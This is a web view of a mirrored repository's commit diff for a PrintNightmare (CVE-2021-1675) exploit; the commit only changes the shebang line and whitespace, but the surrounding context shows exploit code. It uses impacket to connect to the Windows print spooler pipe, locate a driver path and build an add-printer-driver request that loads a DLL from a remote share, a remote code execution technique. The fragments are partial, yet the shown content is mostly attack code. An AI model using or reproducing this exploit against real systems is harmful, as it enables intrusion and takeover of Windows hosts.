mirror of
https://github.com/cube0x0/CVE-2021-1675.git
synced 2024-12-22 10:46:32 +00:00
Modify shebang so we are friendlier to virtualenvs
This commit is contained in:
parent
d2e96c1dc7
commit
3cb4354cc7
1 changed files with 7 additions and 7 deletions
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/python3
|
||||
#!/usr/bin/env python3
|
||||
from impacket.dcerpc.v5 import rprn
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure):
|
|||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self, data = data)
|
||||
|
||||
|
||||
def fromString(self, data, offset=0):
|
||||
Structure.fromString(self, data)
|
||||
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
|
||||
|
@ -43,14 +43,14 @@ class DRIVER_INFO_2_ARRAY(Structure):
|
|||
def connect(username, password, domain, lmhash, nthash, address, port):
|
||||
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
|
||||
rpctransport = transport.DCERPCTransportFactory(binding)
|
||||
|
||||
|
||||
rpctransport.set_dport(port)
|
||||
rpctransport.setRemoteHost(address)
|
||||
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
|
||||
|
||||
|
||||
print("[*] Connecting to {0}".format(binding))
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL):
|
|||
for i in blobs['drivers']:
|
||||
if "filerepository" in i['DriverPathArray'].lower():
|
||||
return i
|
||||
|
||||
|
||||
print("[-] Failed to find driver")
|
||||
sys.exit(1)
|
||||
|
||||
|
@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL):
|
|||
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
|
||||
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
|
||||
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00"
|
||||
|
||||
|
||||
flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
|
||||
filename = share.split("\\")[-1]
|
||||
|
||||
|
|
Loading…
Reference in a new issue